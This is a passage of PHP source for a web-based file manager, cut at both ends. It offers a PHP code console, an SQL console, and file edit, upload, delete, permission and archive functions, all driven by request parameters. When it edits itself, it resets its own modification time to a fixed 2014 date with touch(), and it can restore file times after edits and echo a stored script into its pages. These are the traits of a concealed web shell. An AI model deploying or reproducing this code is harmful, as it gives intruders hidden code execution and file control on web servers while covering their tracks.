11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = 